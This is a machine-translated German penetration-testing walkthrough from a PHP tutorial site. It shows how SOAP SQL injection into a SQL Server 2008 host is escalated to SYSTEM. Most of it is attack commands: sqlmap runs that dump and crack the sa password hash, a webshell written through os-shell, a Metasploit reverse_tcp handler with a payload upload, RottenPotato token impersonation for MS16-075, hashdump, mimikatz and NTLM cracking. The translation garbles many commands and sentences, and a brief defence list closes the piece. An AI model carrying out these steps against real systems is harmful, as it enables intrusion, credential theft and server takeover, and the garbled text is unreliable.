Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

PHPz
PHPznach vorne
2023-05-11 21:25:041796Durchsuche

Im eigentlichen erfolgreichen Penetrationsprozess besteht die Ausnutzung von Schwachstellen in der Integration mehrerer Technologien und in der Praxis der neuesten Technologie. Diese Penetration verwendet SQLMAP, um den Injektionspunkt zu bestätigen, erhält die Webshell über SQLMAP und kombiniert MSF, um die Privilegieneskalation durchzuführen von ms16-075 und erhielt schließlich die Systemberechtigungen des Zielservers. Dieser Artikel kann als eine neue Erweiterung der Schwachstellenausnutzung betrachtet werden. Wenn die herkömmliche Nday-Berechtigungsausweitung fehlschlägt, wird ein klassischer Fall einer erfolgreichen Berechtigungsausweitung von ms16-075 mit msf kombiniert.

1.1.1 Nach Schwachstellen durch Soap-Injection suchen

1. Öffnen Sie awvs, um nach Schwachstellen zu suchen, und füllen Sie das Ziel aus URL-Adresse in der WSDL-URL. Beachten Sie, dass es sich um asmx?wsdl handeln muss. Einige verfügen über ASMX-Dateien. Wenn nicht, können Sie diese direkt ausfüllen, z. ***:8081/?wsdl. Abbildung 1: Führen Sie einen Soap-Injection-Schwachstellenscan durch „http-Header anzeigen“, den Inhalt in eine Textdatei kopieren und anfällige Anweisungen verarbeiten, zum Beispiel:


Sie müssen den roten Textteil durch „-1*“ ersetzen. So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren
3. Das vollständige Header-Paket enthält den folgenden Inhalt:

POST /Service1.asmx HTTP/1.1

Content-Type: text/xml

SOAPAction: „http://tempuri.org/ZcpdList“

Content - Länge: 716So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren
X-Requested-With: XMLHttpRequest

Referer: http://1**.***.***.***:8081/?wsdl

Host: 1**.* * *.***.***:8081

Verbindung: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, wie Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

< ;urn:ZcpdList>

                                                                                                                               ory_dhs>

Antwort

1.1.2 Bestätigen 1. Verwenden Sie sqlmap, um zu erkennen, ob eine SQL-Injection-Sicherheitslücke besteht. Fügen Sie den vorherigen Header hinzu. Speichern Sie den Inhalt als 1**.***.***.***.txt und kopieren Sie die Datei nach Geben Sie das Verzeichnis ein, in dem sich das Programm sqlmap.py befindet, und führen Sie den Befehl aus: sqlmap.py -r 1**.***.txt. Bestätigen Sie die von sqlmap angeforderten Informationen:

custom Injektionsmarkierung ('*') in Option '--data' gefunden. Möchten Sie sie verarbeiten? . Möchten Sie es verarbeiten? 2008 R2, die Datenbankversion ist SQL Server 2008 und die Soap-Schwachstelle ist Union Query.

Abbildung 2 Es liegt eine Sicherheitslücke durch Soap-Injection vor

2. Überprüfen Sie, ob die Datenbank über DBA-Berechtigungen verfügt. (1) Senden Sie Parameter automatisch zum Testen, wie in Abbildung 3 gezeigt, und führen Sie den Befehl aus: sqlmap.py -r 1 **.** *.***.***.txt --is-dba --batch, Sie müssen y auch zweimal bestätigen, da der Parameter „batch“ verwendet wird, übermittelt sqlmap automatisch den Beurteilungswert.

Abbildung 3 Parameter automatisch zur Beurteilung einreichen

(2) Erhalten Sie das DBA-Konto des Benutzers, der in der aktuellen Datenbank verwendet wird. Wie in Abbildung 4 dargestellt, ist der aktuelle Benutzer dba in sqlmap und das angezeigte Ergebnis ist wahr. Dieses Ergebnis zeigt, dass die Datenbank SA-Berechtigungen verwendet und die Webshell über den Parameter os-shell abgerufen werden kann.

Abbildung 4 bestimmt, ob es sich um ein DBA-Konto handelt

3. Holen Sie sich das Passwort für das SA-Konto

Wie in Abbildung 5 gezeigt, verwenden Sie den Befehl sqlmap.py -r 1**.***.***.***.txt --password --batch, um es direkt abzurufen die Datenbankverbindung Die Passwortwerte, die allen Konten entsprechen:


So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 5 Abrufen des SA-Kontopassworts

4. Den Datenbankpasswort-Hashwert erfolgreich über sqlmap erhalten:

## Ms_policyEventprocessingLogin ## [1]:

Passwort Hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2AD20F852076D8446A838 ## MS_POLICYTSQUISIGIN#N ## [1]:

Passwort 3D413042ee8AF2EEA9026D44C8D4D1C SA [1]:

Password Hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d297028 ändere das Passwort zu SA "0x010 4C8A099C4DE53045D2DE6297E28 " unter www.cmd5.com Führen Sie eine Abfrage durch, wie in Abbildung 6 gezeigt, und das Entschlüsselungsergebnis ist „qaz123WSX“.

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 6 Entschlüsselter sa-Passwort-Hashwert

1.1.3 Holen Sie sich die Webshell über --os-shell1 und führen Sie den Befehl in sqlmap aus: sqlmap.py -r 1**.*** .***.***.txt --os-shell, bestätigen Sie die Informationen im SQLMap-Ausführungsfenster:


So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Sie können auch sqlmap.py -r 1**.***.* ausführen ** Der Befehl .***.txt --os-shell --batch muss nicht manuell eingegeben werden.

2. Suchen Sie das Verzeichnis, in dem sich das Webprogramm befindet

(1) Dateien und Verzeichnisse anzeigen

Nach dem Ausführen des Befehls dir c: können Sie das Verzeichnis c und die Dateien anzeigen und weiterhin „dir c:inetpubwwwroot“ anzeigen " wie in Abbildung 7 dargestellt. Da sich kein Webprogramm im Ordner befindet, schließen Sie dieses Verzeichnis aus. Abbildung 7: Dateien und Verzeichnisse anzeigen und verwenden Sie den Befehl dir e:softwareAMS_NoFlow, um anzuzeigen, wie in Abbildung 8 dargestellt.

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 8 Website-Dateien anzeigen

3. Testen Sie das tatsächliche Verzeichnis der Website

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren (1) Dateitest erstellen Verwenden Sie wie in Abbildung 9 gezeigt den Echo-Befehl: echo „thisis test“>e :softwareAMS_NoFlowt.txt, generieren Sie eine t.txt-Datei im Stammverzeichnis der Website. Der Inhalt ist dieser Test.


Abbildung 9 Generierte Datei

(2) Website-Zugriffstest

Geben Sie im Browser die Adresse http://1**.***.***.***/1.txt ein Fahren Sie mit dem Test fort. Wie in Abbildung 10 dargestellt, entspricht der erhaltene Inhalt den Erwartungen. Das Verzeichnis ist die tatsächliche physische Adresse der Website. Abbildung 10: Website-Zugriffstest config-Datei in sqlmap Aufgrund von Einstellungsproblemen ist möglicherweise nicht der gesamte Inhalt des Befehlsfensters sichtbar. Allerdings behält sqlmap detaillierte Informationen in seinem Ausgabeverzeichnis bei, wie in Abbildung 11 dargestellt. Wenn Sie die Protokolldatei öffnen, können Sie diese sehen dass das seinem sa-Konto entsprechende Passwort qaz123WSX lautet. Es stimmt mit dem zuvor geknackten sa-Passwort überein. Abbildung 11: Anzeigen des Inhalts der Konfigurationsdatei „web.config“ das Ziel In diesem Fall wird das Ziel mit unabhängigen externen IP- und internen IP-Adressen konfiguriert und andere Befehle können in der OS-Shell ausgeführt werden. So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 12 IP-Adresse abrufen

6. Webshell-Test abrufen

(1) Shell-Datei generieren So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren
Befehl in OS-Shell ausführen:

echo ^^ > e:softwareAMS_NoFlowcmd.aspx


Wie in Abbildung 13 gezeigt, zeigt das Echo-Ergebnis 1 Es liegen keine weiteren Informationen vor und der Befehl zur Dateigenerierung scheint erfolgreich zu sein.

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 13 Webshell generieren

(2) Webshell abrufen Verwenden Sie das chinesische Chopper-Backdoor-Management-Tool, um einen Datensatz http://1**.***.***.***/cmd.aspx mit einem Satz Backdoor-Passwort: pass zu erstellen, wie gezeigt in Abbildung 14 Es zeigt, dass die Verbindung erfolgreich ist und die Webshell erfolgreich abgerufen wurde. Abbildung 14: Abrufen der Webshell Suggester-Programm Windows-Exploit-Suggester Download-Adresse: https://github.com/GDSSecurity/Windows-Exploit-Suggester/

3 Aktualisieren Sie die Schwachstellenbibliothek und führen Sie einen Schwachstellenvergleich durch. Führen Sie windows-exploit-suggester.py in Python aus - u um die Schwachstellenbibliothek zu aktualisieren und zu vergleichen: windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > wie in Abbildung 15 dargestellt.
So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 15 zum Vergleich der Schwachstellen

4. Überprüfen Sie die Schwachstellensituation. Öffnen Sie die Datei SYD1-0081DSB-day.txt im Verzeichnis C:Python27, wie in Abbildung 16 gezeigt Das Betriebssystem ist die Version Windows 2008 R2 und es gibt mehrere Sicherheitslücken. Die neueste Sicherheitslücke ist ms16-075.

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 16 Überprüfen Sie den Schwachstellenstatus

5. Führen Sie einen Privilegieneskalationstest für vorhandene Schwachstellen durch, suchen und organisieren Sie Exp-Dateien und führen Sie einen Privilegieneskalationstest auf dem Zielserver durch -075exp, Test Alle sind fehlgeschlagen und die Berechtigungen konnten nicht erweitert werden.


1.1.5 Verwenden Sie msf, um eine Eskalation der Berechtigungen nach ms16-075 durchzuführen. So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren
1. Verwenden Sie msf, um einen Rebound-Trojaner zu generieren.

Führen Sie den folgenden Befehl aus: lhost ist der Rebound-Port. Beachten Sie, dass die IP-Adresse ein unabhängiger Server oder eine externe Netzwerk-Portzuordnung sein muss. Mit anderen Worten, der Rebound-Port muss 4433 sein das generierte Programm.

2. Führen Sie den Listening-Befehl auf dem Listening-Server aus. (1) Starten Sie msf Führen Sie es aus

Laden Sie die Datei 4433.exe auf den Zielserver hoch und führen Sie sie über Chinese Color Knife oder OS-Shell aus.
So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren4. Systeminformationen anzeigen

Wie in Abbildung 17 dargestellt, springt das Ziel zum Überwachungsserver, führt sysinfo aus und ruft seine Systeminformationen ab. Abbildung 17: Abrufen von Systeminformationen

Abbildung 18 Eskalation der Berechtigungen mit Standard-Meterpreter fehlgeschlagen

6. Verwenden Sie ms16-075, um Berechtigungen zu eskalieren. (1) ms16-075 kann mit exp https://github.com/foxglovesec/ heruntergeladen werden. RottenPotato

(2) Laden Sie die Kartoffeldatei hoch
So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren Laden Sie die Datei Potato.exe über die Webshell hoch oder führen Sie zum Hochladen den folgenden MSF-Befehl aus: upload /root/potato.exe

(3) Erhalten Sie Systemberechtigungen. Führen Sie die folgenden Befehle aus Sequenz:

Wie in Abbildung 19 dargestellt, wurden die Systemberechtigungen erfolgreich eingeholt.


So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinierenAbbildung 19 Erhalten Sie Systemberechtigungstoken

(4) Erhalten Sie Systemberechtigungen und führen Sie die entsprechenden Befehle aus:

Wie in Abbildung 20 gezeigt, wurden die Systemberechtigungen erfolgreich erhalten.

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 20 Systemberechtigungen erhalten

(5) Passwort erhalten

Führen Sie den Befehl unter meterpreter aus: Führen Sie den Befehl hashdump aus, wie in Abbildung 21 gezeigt, und erhalten Sie erfolgreich den Server-Passwort-Hash-Wert: Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Bild 21 Passwort erhalten

bei In In diesem Beispiel wird „load mimikatz“ immer noch verwendet, um das Klartextkennwort zu erhalten, aber der Erfassungseffekt ist nicht ideal. Die Ausführung der folgenden Befehle: kerberos, Livessp, MSV, SSP, TSPKG, Wdigest kann das Klartextkennwort nicht abrufen Geben Sie den Befehl mimikatz_command ein und geben Sie die mimikatz-Eingabeaufforderung ein.

(6) NTML-Passwort knacken Kopieren Sie den NTML-Passwort-Hashwert a59a64a645487c1581dea603253c7920 zum Knacken von cmd5. Sie können auch zu http://www.objectif-securite.ch/en/ophcrack.php gehen und Die Website https://www.somd5.com/ führt das Knacken von Passwörtern durch. Wie in Abbildung 22 gezeigt, wurde das Passwort erfolgreich geknackt.


So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Abbildung 22 Ntlm-Hashwert knacken

7. Melden Sie sich über nmap -sS -Pn -A 1**.***.***.*** oder masscan -p 1 am Server an -65535 1**.***.***.*** hat einen Port-Scan durchgeführt und festgestellt, dass der Server Port 3389 geöffnet hat. Melden Sie sich mit mstsc an. Wie in Abbildung 23 dargestellt, haben Sie sich erfolgreich beim Server angemeldet. Abbildung 23: Erfolgreiche Anmeldung am Server ) os- Führen Sie den Befehl unter der Shell aus


ipconfigdir c:/echo "thisis test">e:softwareAMS_NoFlowt.txtecho ^^ > Start und ÜberwachungSo erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

msfconsoleuse Exploit /multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33 (eigentlich die externe IP-Adresse) setze LPORT 4433exploit

(5) ms16-075 Privilegieneskalationsbefehl


use in cognitolist_tokens – uexecute -cH -f ./ Potato.exelist_tokens -u impersonate_token "NT AUTHORITY\SYSTEM" getuid

(6) Passwort abrufen run hashdump

So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren
(7) mimikatz für die Passworterfassung

mimikatzkerberos, Livesp, MSV laden, ssp, tspkg, wdigest (eins nach dem anderen Befehlstest, einige zeigen Klartext-Passwort an) mimikatz_command: mimikatz-Eingabeaufforderungsfenster


(8) Erhalten Sie das Passwort unter der mimikatz-Befehlszeile (nicht getestet)

2 So erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren

Führen Sie bei dieser Penetration einen Seifeninjektionstest über SQLMAP durch, beurteilen Sie, ob der SQL-Injektionspunkt über SQLMAP verfügbar ist, und rufen Sie dann die Webshell erfolgreich über OS-Shell ab. Nachdem ich die Webshell erhalten hatte, versuchte ich, die reguläre Nday-Privilegieneskalationsmethode zu verwenden, aber das Ergebnis schlug fehl. Dann habe ich msf verwendet, um mit ms16-075 zusammenzuarbeiten, um die Privilegien zu eskalieren. Windows-Exploit-Suggester ist weiterhin in der Lage, lokale Schwachstellen zu beurteilen und zu testen. Durch seine Prüfung werden die neuesten Schwachstellen zur Eskalation von Berechtigungen genutzt, und die grundlegende Trefferquote liegt bei 99 %.

3. Sicherheitsabwehr



Nach dem erfolgreichen Eindringen in den Server wurde keine Sicherheitsschutzsoftware auf dem Server gefunden. Aufgrund der Erfahrung empfiehlt der Autor die folgenden Sicherheitsabwehrmaßnahmen:

(1) Filtern Sie Soap-Parameter, um Gefahren herauszufiltern Parameter, die zur SQL-Injection führen.


(2) Die MSSQL-Datenbank verwendet Benutzer mit geringen Berechtigungen für Datenbankverbindungen.

(3) Der Server wird regelmäßig gepatcht und aktualisiert.

(4) Installieren Sie Antivirensoftware, WAF und Hardware-Firewall, um die Kosten und die Schwierigkeit eines Angriffs zu erhöhen

Das obige ist der detaillierte Inhalt vonSo erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen